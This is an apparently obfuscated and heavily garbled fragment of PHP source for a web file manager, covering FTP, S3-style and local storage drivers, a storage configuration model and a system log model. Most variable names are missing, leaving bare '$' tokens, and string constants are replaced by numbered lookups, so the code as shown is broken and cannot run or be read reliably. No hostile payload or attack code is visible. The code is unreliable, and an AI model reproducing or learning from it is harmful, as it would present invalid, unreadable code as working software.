= rtrim($, $[8]) . $[8]; check_abort(); $ = @ftp_rawlist($this->connect, $); if (!$) { $ = array(); } $ 
 = array($[10] => 1, $[1359] => 1); foreach ($ as $) { $ = $this->_listItem($); if ($[0] == $[ 
831]) { continue; } $ = $[8]; if (empty($) && $ !== $[228] || isset($[$])) { continue; } $ = $this->icon 
vApp($ . ltrim($, $[8])); $ = array($[32] => $, $[33] => $[230], $[79] => $[4]); if (substr 
($, 0, 1) == $[1445]) { $[$[33]] = $[78]; $[$[79]] = 0; } $ = $[$[33]] == $[78] ? !0 
: !1; $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; if ($) { $this->fileList($, $, $ 
, $); } continue; } $[] = $; } $this->cacheMethodInfoSet($, !0); } private function _listItem($) { if (empty 
($)) { return array(); } $ = preg_split($_SERVER[][1446], $); if (count($) <= 9) { return $; } $[8] = tr 
im(substr($, strpos($, $[7]) + strlen($[7]))); return array_splice($, 0, 9); } public function listPath($, $ 
 = false) { $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $ = array(); $this->fileList($, $, 
$); foreach ($ as $ => $) { $[$] = $this->folderInfo($, $); } foreach ($ as $ => $) { 
$[$] = $this->fileInfo($[$[32]], $, $); } return array($[85] => $, $[86] => $); } public 
function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = $ = array(); $ = $ ? !0 : !1; $thi 
s->fileList($, $, $, $); if ($) { return array($[239] => count($), $[240] => count($)); } if 
($) { if (count($)) { return !0; } } else { if (count($)) { return !0; } } return !1; } public function listAll($) { $ 
 =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $ = array(); $this->fileList($, $, $, !0); $ 
 = array_to_keyvalue($, $[32]); foreach ($ as $) { if (is_string($)) { $[$] = array($[79] => 0); } 
} return $this->listAllFiles($, $); } public function getContent($) { if (!$this->_isconn()) { return !1; } $ = $this 
->iconvSystem($); return $this->fileSubstr($); } public function setContent($, $ = '') { if (!$this->_isconn()) { retur 
n !1; } $ = $this->pathThis($this->iconvSystem($)); $ = $this->tempFile($); file_put_contents($, $); $ = 
$this->upload($, $this->iconvApp($)); $this->tempFileRemve($); return $; } public function fileSubstr($, $ = 0 
, $ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($, $, $); } private function ftpRequest($ 
, $ = 0, $ = false) { $ = $this->iconvSystem($); $ = $this->scheme . $this->host . $_SERVER[][4] . $this->p 
ort; $ = curl_init(); curl_setopt($, CURLOPT_URL, $ . $this->pathEncode($)); curl_setopt($, CURLOPT_USERPWD, "{$thi 
s->username}:{$this->userpass}"); if ($) { $ = $ + $ - 1; curl_setopt($, CURLOPT_RANGE, "{$}-{$}"); } 
curl_setopt($, CURLOPT_RETURNTRANSFER, 1); $ = curl_exec($); curl_close($); return $; } public function upload($ 
, $, $ = false, $ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($))) { re 
turn !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = ftp_nb_put($this->connect, $, $, FTP_BINARY); 
while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $ 
_SERVER[][1444], !0); return !1; } return $this->getPathOuter($); } public function download($, $ = '') { if (!$this->_is 
conn()) { return !1; } $ = $this->pathFather($); if (!IO::mkdir($)) { return !1; } $ = $this->iconvSystem($); $ 
 = $this->iconvSystem($); $ = ftp_nb_get($this->connect, $, $, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = 
ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[][1444], !0); return !1; } r 
eturn $this->iconvApp($); } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function 
isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMet 
hod($_SERVER[][179], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][181], $); } prote 
cted function _objectMeta($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return array(); } if (!$this->_ 
isconn()) { return !1; } $ = $this->iconvSystem($); $ = array($[32] => $this->iconvApp($), $[33] => $[230], $ 
[79] => 0); @ftp_chdir($this->connect, $[8]); $ = @ftp_size($this->connect, $); if ($ != -1) { $[$[79]] = 
$; } else { $ = @ftp_chdir($this->connect, $); if (!$) { return !1; } $[$[33]] = $[78]; } return $ 
; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } $ = $ 
this->_objectMeta($); return isset($[$[33]]) && $[$[33]] == $[78] ? !0 : !1; } } class PathDriverJOS extends PathDri 
verBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][247]); } public function 
uploadLink($, $ = 0) { $ =& $_SERVER[]; if ($this->isUploadServer()) { return; } $ = $this->getType(); if (!in_arra 
y($, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 36 
00 * 4; $ = $this->multiUploadFormData($, $); if ($) { $[$[97]] = $; $[$[98]] = $; } return $; } p 
ublic function fileOutImage($, $ = 250) { if ($this->size($) > 1024 * 1024 * 25) { return $this->fileOutImageServer($, $); 
} $ = $this->link($); $ .= $_SERVER[][1447] . $; $this->fileOutLink($); } public function fileOutLink($) 
{ $ =& $_SERVER[]; if (substr($, 0, 7) == $[313]) { $ = $[314] . substr($, 7); } header($[175] . 
$); die; } } class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); 
$this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($) { if (substr($, 0, 2) == $_SERVER[][1406]) { $ = 
BASIC_PATH . substr($, 2); } return $; } public function iconvApp($) { $ =& $_SERVER[]; global $config; return $th 
is->iconvTo($, $config[$[1433]], $config[$[1432]]); } public function iconvSystem($) { $ =& $_SERVER[]; global 
$config; return $this->iconvTo($, $config[$[1432]], $config[$[1433]]); } public function getPathOuter($) { $ =& $ 
_SERVER[]; $ = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($, 0, 2) == $[1406]) { $ 
 = BASIC_PATH . substr($, 2); } if (substr($, 0, 2) == $[1406]) { $ = BASIC_PATH . substr($, 2); } $ = KodIO: 
:clear($); $ = KodIO::clear($); $ = substr($, strlen($)); if (empty($this->pathDriver)) { return $; } return $ 
this->pathDriver . $[8] . ltrim($, $[8]); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { $ = $t 
his->iconvSystem($); @touch($); if ($) { file_put_contents($, $); } @chmod($, $this->pathAuth); if (is_file($ 
)) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[][1444], !0); return !1; } public function mkdir( 
$, $ = REPEAT_SKIP) { $ = $this->iconvSystem($); if (is_dir($)) { return $this->getPathOuter($); } @mkdir($ 
, $this->pathAuth, !0); @chmod($, $this->pathAuth); if (is_dir($)) { return $this->getPathOuter($); } $this->writeLog(__FUN 
CTION__ . $_SERVER[][1444], !0); return !1; } public function copyFile($, $) { $this->mkdir($this->pathFather($)); $ 
= $this->iconvSystem($); $ = $this->iconvSystem($); $ = copy_64($, $); @chmod($, $this->pathAuth); if ($ 
) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[][1444], !0); return !1; } public function moveFile( 
$, $) { $this->mkdir($this->pathFather($)); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = intv 
al(@rename($, $)); if (!$) { if ($ = intval(@copy_64($, $))) { @unlink($); } } @chmod($, $this->pathAuth); 
if ($) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[][1444], !0); return !1; } public function mo 
vePath($, $, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = $this->iconvSystem($); 
$ = rtrim($, $[8]) . $[8] . ($ ? $ : get_path_this($)); if (file_exists($)) { return !1; } $ = i 
ntval(@rename($, $)); $ = file_exists($); if ($) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION_ 
_ . $[1444], !0); return !1; } public function delFile($) { $ = $this->iconvSystem($); if (!@unlink($)) { @chmod($ 
, $this->pathAuth); if (@unlink($)) { return !0; } $this->writeLog(__FUNCTION__ . $_SERVER[][1444], !0); return !1; } return 
!0; } public function delFolder($) { $ =& $_SERVER[]; $ = $this->iconvSystem($); if (!is_dir($)) { return !0; } i 
f (!($ = opendir($))) { return !1; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1359] 
) { continue; } $ = $ . $[8] . $; if (is_file($) || is_link($)) { if (!unlink($)) { chmod($, $this->p 
athAuth); if (!unlink($)) { return !1; } } } else { if (is_dir($)) { chmod($, $this->pathAuth); $ = $this->iconvApp($ 
); if (!$this->delFolder($)) { return !1; } } } } closedir($); return rmdir($); } public function rename($, $) { $ 
 =& $_SERVER[]; $ = $this->fileNameAuto($this->pathFather($), $); $ = $this->iconvSystem($); $ = $t 
his->iconvSystem($); $ = $this->pathFather($); $ = rtrim($, $[8]) . $[8] . $; $ = @rename($ 
, $); $ = $this->iconvApp($); if ($) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $[1 
444], !0); return !1; } public function size($) { $ = $this->iconvSystem($); return filesize_64($); } public functio 
n info($) { $ = $this->iconvSystem($); if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile 
($)) { return $this->fileInfo($); } } return !1; } protected function infoChildren($, &$, $ = true) { $ =& $_SER 
VER[]; check_abort_echo(); $ = rtrim($, $[8]) . $[8]; if ($) { $ = $this->iconvSystem($); } if (!($ 
 = @opendir($))) { return; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1359]) { continue; 
} $ = $ . $; if (is_file($) || is_link($)) { $[$[80]]++; $[$[79]] += filesize_64($); } else { if (i 
s_dir($)) { $[$[81]]++; $this->infoChildren($, $, !1); } } } closedir($); } private function folderInfo($, $ 
= false) { $ =& $_SERVER[]; $ = rtrim($, $[8]) . $[8]; $ = $this->iconvApp($this->pathThis($)); if ($) { 
return array($[32] => $, $[87] => $this->getPathOuter($), $[33] => $[78]); } $ = array($[32] => $, $[ 
87] => $this->getPathOuter($), $[33] => $[78], $[231] => @filectime($), $[88] => @filemtime($), $[1448] => @fil 
eatime($), $[1449] => is_readable($), $[1450] => is_writable($), $[1451] => get_mode($)); return $; } private fu 
nction fileInfo($, $ = false) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathThis($)); if ($) { retu 
rn array($[32] => $, $[87] => $this->getPathOuter($), $[33] => $[230], $[79] => $this->size($), $ 
[169] => $this->ext($)); } $ = array($[32] => $, $[87] => $this->getPathOuter($), $[33] => $[230], 
$[231] => @filectime($), $[88] => @filemtime($), $[1448] => @fileatime($), $[79] => $this->size($ 
), $[169] => $this->ext($), $[1449] => is_readable($), $[1450] => is_writable($), $[1451] => get_mode( 
$)); return $; } public function exist($) { $ = $this->iconvSystem($); return @file_exists($); } public function 
isFile($) { $ = $this->iconvSystem($); return @is_file($); } public function isFolder($) { $ = $this->iconvSys 
tem($); return @is_dir($); } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSyste 
m($); $ = rtrim($, $[8]) . $[8]; $ = array($[85] => array(), $[86] => array()); if (!($ = @opendir($)) 
) { return $; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1359]) { continue; } $ = $ . 
$; if (is_file($)) { $[$[86]][] = $this->fileInfo($, $); } else { $[$[85]][] = $this->folderInfo($ 
, $); } } closedir($); return $; } public function listAll($, &$ = array()) { $ =& $_SERVER[]; $ = $this 
->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($ = @opendir($))) { return $; } while (($ = readdi 
r($)) !== !1) { if ($ == $[10] || $ == $[1359]) { continue; } $ = $ . $; $ = is_dir($) & 
& !is_link($) ? 1 : 0; $ = $ ? $ . $[8] : $; $[] = array($[87] => $, $[78] => $, $ 
[88] => intval(@filemtime($)), $[79] => $ ? 0 : intval($this->size($))); if ($) { $this->listAll($, $ 
); } } closedir($); return $; } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ 
 = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($ = @opendir($))) { return !1; } $ = 0; $ 
 = 0; $ = 0; while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1359]) { continue; } $ = $ 
 . $; if ($) { $++; if (@is_file($)) { $++; } else { $++; } if ($ > 10000) { break; } continue; } if ($ 
) { if (@is_file($)) { return !0; } } else { if (@is_dir($ . $[8])) { return !0; } } } closedir($); if ($) { 
return array($[239] => $, $[240] => $); } return !1; } public function hashSimple($) { $ =& $_SERVER[]; if 
(!$) { return md5($[12]); } $ = $this->iconvSystem($); $ = $this->size($); $ = 200; $ = 50; if ($ 
 <= $ * $) { return $this->hashMd5($) . $; } $ = $[12]; $ = intval($ / $); $ = fopen 
($, $[1452]); if (!$) { return $; } for ($ = 0; $ < $; $++) { fseek_64($, $ * $); $ 
 .= fread($, $); } fseek_64($, $ - $); $ .= fread($, $); fclose($); return md5($) . $ 
; } public function getContent($) { $ = $this->iconvSystem($); return file_get_contents($); } public function setC 
ontent($, $ = '') { $ = $this->iconvSystem($); $ = @file_put_contents($, $, LOCK_EX); if (!$) { $this->w 
riteLog(__FUNCTION__ . $_SERVER[][1444], !0); } clearstatcache(); @chmod($, $this->pathAuth); return $ === !1 ? !1 : !0; } p 
ublic function fileSubstr($, $ = 0, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSystem($); if ($ 
 === !1) { $ = $this->size($); } if ($ <= 0) { return $[12]; } $ = fopen($, $[1452]); if (!$) 
{ return !1; } fseek_64($, $); $ = fread($, $); fclose($); if (!$) { $this->writeLog(__FUNCTION__ . 
$[1444], !0); } return $; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { if ($) { return $th 
is->moveFile($, $); } return $this->copyFile($, $); } public function setModifyTime($, $ = '') { @touch($, 
intval($)); } public function download($, $) { return $this->iconvSystem($); } } goto E; C: class StorageModel 
extends ModelBaseLight { public $optionType = "System.storageList"; public $field = ar 
ray("name", "sizeMax", "system", "default", "drive\x7 
2", "config"); public function listData($ = false, $ = "modifyTime", $ = false 
) { $ =& $_SERVER[]; $ = parent::listData($, $, $); if ($) { return $; } $ = array(); if ($GLOBALS[ 
$[2290]]) { $ = $this->ioSizeUseGet(array_to_keyvalue($, $[12], $[483])); } foreach ($ as $ => $) { uns 
et($[$][$[6]]); $[$][$[1951]] = isset($[$[$[483]]]) ? $[$[$[483]]] : 0; } return $ 
; } public function ioSizeUseGet($) { $ =& $_SERVER[]; if (!$) { return array(); } $ = $[2291] . implo 
de($[50], $); $ = Cache::get($); if ($) { return $; } $ = array($[890] => $[483], $[ 
2292] => $[79]); $ = array($[890] => array($[7], $)); $ = Model($[862])->field($)->where($ 
)->group($[890])->select(); $ = array_to_keyvalue($, $[483], $[79]); Cache::set($, $, 600); return $ 
; } public function getConfig($) { $ = parent::listData($); return json_decode($[$_SERVER[][6]], !0); } public f 
unction update($, $) { $ =& $_SERVER[]; $ = $[$[32]]; $ = array_to_keyvalue(parent::listData(), $ 
[32]); if (isset($[$]) && $[$][$[483]] != $) { return !1; } $this->checkPwd($, $); if (isset($[$ 
[2293]]) && $[$[2293]] == $[91]) { $this->checkConfig($); } unset($[$[2293]]); $ = parent::update($ 
, $); if ($ && $[$[37]]) { $ = 0; foreach ($ as $) { if ($[$[37]] && $[$[483]] != $ 
) { $ = $[$[483]]; parent::update($[$[483]], array($[37] => 0)); } } $this->updateBackup($, $ 
); } return $; } public function add($) { $ =& $_SERVER[]; $ = array_to_keyvalue(parent::listData(), $[3 
2]); if (isset($[$[$[32]]])) { return !1; } $this->checkConfig($); $ = parent::insert($); if ($ && $[$ 
[37]]) { foreach ($ as $) { if ($[$[37]]) { parent::update($[$[483]], array($[37] => 0)); } } } retur 
n $; } public function updateBackup($, $) { $ =& $_SERVER[]; if (!$) { return; } $ = Model($[821])->c 
onfig(); if ($[$[1734]] != $[91] || $[$[825]] != $) { return; } $ = Model($[843])->get($[8 
56]); $ = json_decode($, !0); if (!$) { return; } $[$[825]] = $; Model($[843])->set(array($[8 
56] => $)); } public function checkPwd($, &$) { $ =& $_SERVER[]; if (empty($[$[6]])) { return; } $ = 
json_decode($[$[6]], !0); $ = $[12]; $ = array($[2294], $[2295], $[963]); foreach ($ as $) { if 
(isset($[$])) { $ = $; break; } } if (!$) { return; } $ = $this->getConfig($); $ = $[$]; $ = $ 
[$]; if ($ == str_repeat($[220], strlen($))) { $[$] = $; $[$[6]] = json_encode($); } else 
{ if ($ != $) { $[$[2293]] = $[91]; } } } public function checkConfig(&$, $ = false) { $ =& $_SERVER 
[]; $ = strtolower($[$[98]]); $ = json_decode($[$[6]], !0); foreach ($ as $ => $) { if 
(is_string($)) { $[$] = trim($); } } $[$[2296]] = rand_string(6); $ = $GLOBALS[$[6]][$[92]][$ 
[898]]; $ = isset($[$]) ? $[$] : ucfirst($); $ = $[77] . $; if (!$ || !class_exists($ 
)) { if ($) { return LNG($[2297]); } write_log(array($[2298], $, get_caller_info()), $[215]); show_json(LNG($ 
[2297]), !1, $); } $ = new $($); if (in_array($, $->objectDriver)) { try { if (!$->isBucketCors() && 
!$->setBucketCors()) { $ = LNG($[2299]); $ .= $[2300] . LNG($[2301]); } } catch (Exception $) { $ 
= $->getMessage(); } if (isset($)) { return $this->_parseError($, $, $); } if ($ == $[68] && !$ 
->checkRegion()) { return $this->_parseError(LNG($[2302]), $, $); } } $ = rtrim($[$[1258]], $[8]) . $ 
[8]; $ = $->getPath($ . $[1262]); try { if ($ == $[109]) { $->mkdir($); } $ = $ 
->mkfile($); if (!$) { $ = LNG($[2299]); } } catch (Exception $) { $ = $->getMessage(); } if (isset($ 
)) { return $this->_parseError($, $, $); } $[$[1258]] = $; $[$[6]] = json_encode($); $ 
[$[98]] = $; return !0; } private function _parseError($, $, $ = false) { $ =& $_SERVER[]; if ($ 
 == $[68] && stripos($, $[2303])) { $ = explode($[10], $); $ = isset($[1]) ? $[1] : $[12]; $ = 
array($[2304] => LNG($[2305]), $[2306] => LNG($[2307])); if (isset($[$])) { $ = $[$]; } } if (stripos($ 
, $[2308]) === 0) { $ = strpos($, $[178]); if ($ === !1) { $ = strpos($, $[4]); } if ($ !== !1) 
{ $ = substr($, $ + 1); } } $ = LNG($[1265]) . $; if ($) { return $; } show_json($, !1); } public fun 
ction driverListSystem() { $ =& $_SERVER[]; $ = parent::listData(); $ = array(); foreach ($ as $) { unset($ 
[$[231]], $[$[88]]); $[$[6]] = json_decode($[$[6]], !0); $[] = $; } return $; } public functio 
n defaultDriver() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_filter_by_field($, $[37], 1); $ = 
$[0]; if ($) { $[$[6]] = json_decode($[$[6]], !0); } return $; } public function driverInfo($) { $ 
=& $_SERVER[]; $ = array_to_keyvalue(parent::listData(), $[483]); if (!isset($[$])) { return !1; } $ = $ 
[$]; $[$[6]] = json_decode($[$[6]], !0); return $; } public function remove($) { $this->removeShareItems($ 
); return parent::remove($); } public function removeWithFile($, $, $, $ = false) { $ =& $_SERVER[]; 
$ = array($[890] => $); $ = Model($[552])->where($)->count(); $ = Model($[552])->where($)->sum($ 
[79]); $ = $ . $[2309] . $; $ = LNG($ == $[628] ? $[2310] : $[2311]); $ = new TaskFile 
Transfer($, $[215], $, $ . $[470] . $[$[32]] . $[214] . $); $->task[$[836]] = (doub 
le) $; $ = KodIO::defaultDriver(); $ = $[$[483]]; $ = $ = $ = array(); $ = Model($[230])->wh 
ere($)->field($[2312])->select(); foreach ($ as $) { $ = $[$[549]]; if ($) { $[] = $; continue 
; } $ = $[$[87]]; $ = get_path_father($); $[] = $; $ = str_replace("{io:{$}}/", 
"{io:{$}}/", $); if (!IO::exist($)) { $[] = $; $->updateFileEnd($[$[32]], $[$[7 
9]]); write_log($[2313] . $, $[1894]); continue; } $ = IO::move($, $, REPEAT_RENAME); if (!$) { $[] = $ 
; $->updateFileEnd($[$[32]], $[$[79]]); write_log($[2314] . $, $[1894]); continue; } $ = array 
($[549] => $); $ = array($[890] => $, $[87] => $); Model($[230])->where($)->save($); } $ 
 = $->task; if (!$) { Cache::set($, $); } $->end(); $ = array_unique($); $ = array_unique($); if ( 
!$ && ($ || $)) { $ = array(); if ($) { $[] = sprintf(LNG($[2315]), count($)); } if ($) { $[] = s 
printf(LNG($[2316]), count($)); } $ = sprintf(LNG($[2317]), implode($[2318], $)) . $[2319] . date($ 
[2320]) . $[2321]; if ($ == $[1931]) { $ .= $[2322] . LNG($[2323]); } $[$[1260]] = $; Cach 
e::set($, $); unset($[$[6]]); $ = array($[483] => $, $[2201] => $[628], $[32] => $ 
[$[32]], $[1283] => $); Hook::trigger($[1775], array($[1283] => $, $[1293] => !0)); show_json($, 
!1, 100111); } if ($ == $[628]) { return !0; } if ($ || $) { $ = array_merge($, $); $ = array_filter(array_ 
unique($)); $this->removeByFileID($); } if ($) { $ = array_filter(array_unique($)); foreach ($ as $) { $ 
 = IO::has($, !0); if (!$[$[239]] && !$[$[240]]) { IO::remove($); } } } return $this->remove($); } private 
function removeByFileID($ = array()) { $ =& $_SERVER[]; if (empty($)) { return; } $ = array($[549] => array($ 
[7], $)); $ = Model($[1414])->where($)->field($[193])->select(); if (!$) { return Model($[552])->remov 
e($); } $ = array_to_keyvalue($, $[12], $[193]); foreach ($ as $) { Model($[897])->removeNow($, !1 
); } } private function removeShareItems($) { $ =& $_SERVER[]; $ = "{io:{$}}/"; $ = array($ 
[193] => 0, $[1253] => array($[467], "{$}%")); $ = Model($[1942])->where($)->field($[673])->select(); if (empt 
y($)) { return; } $ = array_to_keyvalue($, $[12], $[673]); Model($[672])->remove($); } } class SystemLightAppModel 
extends ModelBaseLight { public $optionType = "System.LightApp"; public $modelType = "Sy\ 
163temOption"; public $field = array("name", "group", "desc", "co\x6 
etent"); public function listData($ = false, $ = "modifyTime", $ = true) { return pa 
rent::listData($, $, $); } public function remove($) { $ = $this->findByName($); if (!$) { return !1; } 
return parent::remove($[$_SERVER[][483]]); } public function add($) { if ($this->findByName($[$_SERVER[][32]])) 
{ return !1; } return parent::insert($); } public function update($, $) { $ =& $_SERVER[]; $ = $this->findBy 
Name($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[483]] != $[$[483]]) { retu 
rn !1; } return parent::update($[$[483]], $); } } class SystemLogModel extends ModelBase { protected $tableName = "sy\1 
63tem_log"; protected $dataAuto = array(array("createTime", "time", "in 
sert", "function")); public $typeList; function __construct() { parent::__construct(); $this->typeList = 
$this->typeListAll(); } public function typeListAll() { $ =& $_SERVER[]; return array($[2324] => LNG($[2325]), $[ 
2326] => LNG($[2327]), $[1905] => LNG($[2328]), $[2329] => LNG($[2330]), $[2331] => LNG($[2332]), $[ 
2333] => LNG($[2334]), $[2335] => LNG($[2336]), $[1935] => LNG($[2336]), $[1936] => LNG($[2337]), $[ 
2338] => LNG($[2339]), $[2340] => LNG($[2341]), $[2342] => LNG($[2343]), $[2344] => LNG($[2345]), $[ 
1933] => LNG($[2346]), $[2347] => LNG($[2348]), $[1940] => LNG($[2349]), $[2350] => LNG($[2351]), $[ 
2352] => LNG($[2353]), $[2354] => LNG($[2355]), $[2356] => LNG($[2357]), $[1943] => LNG($[2358]), $[ 
1944] => LNG($[2359]), $[2360] => LNG($[2361]), $[2362] => LNG($[2363]), $[2364] => LNG($[2365]), $[ 
1938] => LNG($[2366]), $[2367] => LNG($[2368]), $[1937] => LNG($[2369]), $[2370] => LNG($[2371]), $[ 
2372] => LNG($[2373]), $[2374] => LNG($[2373]), $[2375] => LNG($[2376]), $[2377] => LNG($[2377]), $[ 
2378] => LNG($[1909]), $[2379] => LNG($[2380]), $[2381] => LNG($[2382]), $[2383] => LNG($[2384]), $[ 
2385] => LNG($[2386]), $[2387] => LNG($[2388]), $[2389] => LNG($[2389]), $[2390] => LNG($[2391]), $[ 
2392] => LNG($[2393]), $[2394] => LNG($[2395]), $[2396] => LNG($[2397]), $[2398] => LNG($[2399]), $[ 
2400] => LNG($[2401]), $[212] => LNG($[212]), $[213] => LNG($[2402]), $[2403] => LNG($[2403])); } private 
function typeFile() { $ =& $_SERVER[]; $ = array($[1940] => array($[1941]), $[2342] => array($[2404]), 
$[2344] => array($[2405]), $[1933] => array($[1934], $[2406]), $[2352] => array(), $[2354] => array(), $ 
[2356] => array(), $[1943] => array($[1945]), $[1944] => array($[1945]), $[2360] => array($[2407]), $ 
[2362] => array($[2407]), $[2364] => array($[2408]), $[2350] => array($[2409]), $[1938] => array($[2410] 
), $[2367] => array($[2411]), $[1937] => array($[1939])); return $; } private function typeAll() { $ =& $_SER 
VER[]; $ = $this->typeList; $ = array_filter($this->typeFile()); foreach ($ as $ => $) { $[$[0]] = 
$[$]; } $[$[1945]] = LNG($[2412]); $[$[2407]] = LNG($[2413]); return $; } public function 
addLog($, $ = array()) { $ =& $_SERVER[]; if (!isset($this->typeList[$])) { return; } $ = Session::get($ 
[2104]); if (!$) { $ = _get($, $[1764], 0); } if ($ == $[2379] && is_array($[$[2414]]) && !$[$ 
[2414]]) { return; } $ = get_client_ip(); if (!$ || strlen(json_encode($)) >= 1024 * 64) { if ($ && is_array($)) 
{ $ = array_intersect_key($, array_flip($[483], $[32])); $[$[2415]] = $; } else { $ = array($[2415] 
=> $); } } else { if (is_array($)) { $[$[2415]] = $; } else { $ = array($[1283] => $, $[2415] => 
$); } } $ = array($[1754] => Session::sign(), $[1755] => intval($), $[33] => $, $[1757] => json_encode( 
$)); parent::add($); } public function remove($) { $this->where(array($_SERVER[][501] => $))->delete(); } privat 
e function _makeOrder($ = '') { $ =& $_SERVER[]; $ = $[231]; $ = array($[531] => $[532], $[533] => $[53 
4]); $ = Input::get($[539], $[7], $[2140], array($[2058], $[533])); $ = $[$]; $ = $ . "{$} {$ 
}"; return $this->order($); } public function get($ = '') { $ =& $_SERVER[]; if (!$) { show_json(array()); } $ 
 = array(); if ($[$[1764]]) { $[$[1764]] = $[$[1764]]; } if (isset($[$[833]])) { $ = $ 
[$[833]]; $ = isset($[$[834]]) ? $[$[834]] : time(); $[$[231]] = array($[418], array($, $ 
)); } if ($[$[33]]) { $ = explode($[50], $[$[33]]); $ = $this->typeFile(); $ = array(); foreach ( 
$ as $) { $[] = $; if (isset($[$])) { $ = array_merge($, $[$]); } } $ = array_uniqu 
e($); if ($) { $[$[33]] = array($[7], $); } } else { $[$[33]] = array($[2416], $[2417]) 
; } if (!empty($[$[2415]])) { $[$[534]] = array($[467], "%{$[$[2415]]}%"); } $ = $this->_makeOrd 
er()->where($)->selectPage(); if (empty($[$[454]])) { show_json(array(), !0, $[$[451]]); } $[$[454]] = $this 
->logList($[$[454]]); return $; } private function ipAddress(&$) { $ =& $_SERVER[]; if (!empty($[$[ 
2415]])) { $ = IpLocation::get($[$[2415]]); } else { $ = LNG($[2418]); } $[$[2419]] = $; } pri 
vate function descZipDownload($, &$) { $ =& $_SERVER[]; if (!isset($[$[2420]])) { return; } $ = json_decode( 
$[$[2420]], !0); foreach ($ as $) { try { $ = IO::infoFullSimple($[$[87]]); } catch (Exception $) { c 
ontinue; } $[$[87]] = $[$[87]]; $[] = $[$[193]] = $[$[193]]; $[] = $[$[2196]] = $[$ 
[192]]; break; } return $; } private function getSourceList(&$) { $ =& $_SERVER[]; $ = array(); foreach ($ 
as $ => $) { $ = json_decode($[$[534]], !0); if ($[$[33]] == $[1936]) { $ = $this->descZipDo 
wnload($, $); $[$][$[534]] = json_encode($); continue; } if (strpos($[$[33]], $[2198]) !== 0 
) { if (!isset($[$[87]]) || strpos($[$[33]], $[2421]) !== 0) { continue; } try { $ = IO::infoFullSimple($ 
[$[87]]); } catch (Exception $) { continue; } $[] = $[$[193]] = $[$[193]]; $[] = $[$[2 
196]] = $[$[192]]; $[$][$[534]] = json_encode($); continue; } $[] = $[$[193]]; $[] = $ 
[$[2196]]; if ($[$[33]] == $[628]) { $[] = $[$[534]][$[1237]]; $[] = $[$[534] 
][$[1238]]; } if ($[$[33]] == $[2207]) { $[] = $[$[534]][$[193]]; } } if (!$) { return array( 
); } return Model($[897])->sourceListInfo($, !0); } private function logList($) { $ =& $_SERVER[]; $ = array_to 
_keyvalue($, $[12], $[1764]); $ = Model($[606])->userListInfo(array_unique($)); $ = $this->getSourceList($) 
; $ = $this->typeAll(); $ = array(); $ = array(); foreach ($ as $ => $) { $ = $[$[33]]; $ = isse 
t($[$[$[1764]]]) ? $[$[$[1764]]] : !1; $ = strpos($, $[2422]) === 0 ? LNG($[2423]) : LNG($[2 
418]); $[$[32]] = isset($[$[32]]) ? $[$[32]] : LNG($[2418]); $[$[2251]] = isset($[$[2251 
]]) ? $[$[2251]] : $[12]; $[$[1653]] = isset($[$]) ? $[$] : $; $[$[2139]] = $; 
$ = json_decode($[$[534]], !0); $[$[2415]] = isset($[$[2415]]) ? $[$[2415]] : $[12]; $[ 
$[2419]] = IpLocation::get($[$[2415]]); if (strpos($, $[2198]) === 0 || isset($[$[2196]])) { $[$[9 
0]] = $[$[$[193]]]; $[$[2212]] = $[$[$[2196]]]; if ($[$[33]] == $[628]) { $[$ 
[534]][$[1237]] = $[$[$[534]][$[1237]]]; $[$[534]][$[1238]] = $[$[$[534]][$[1238]]] 
; } if ($[$[33]] == $[2207]) { $[$[534]][$[193]] = $[$[$[534]][$[193]]]; } if ($[$[ 
33]] == $[1931]) { $[$[2212]] = $[$[90]]; $[$[2196]] = $[$[2212]][$[193]]; $[$[90] 
] = !1; $[$[193]] = $[12]; } $ = array($[1931], $[2194]); if (!in_array($[$[33]], $)) { if ($ 
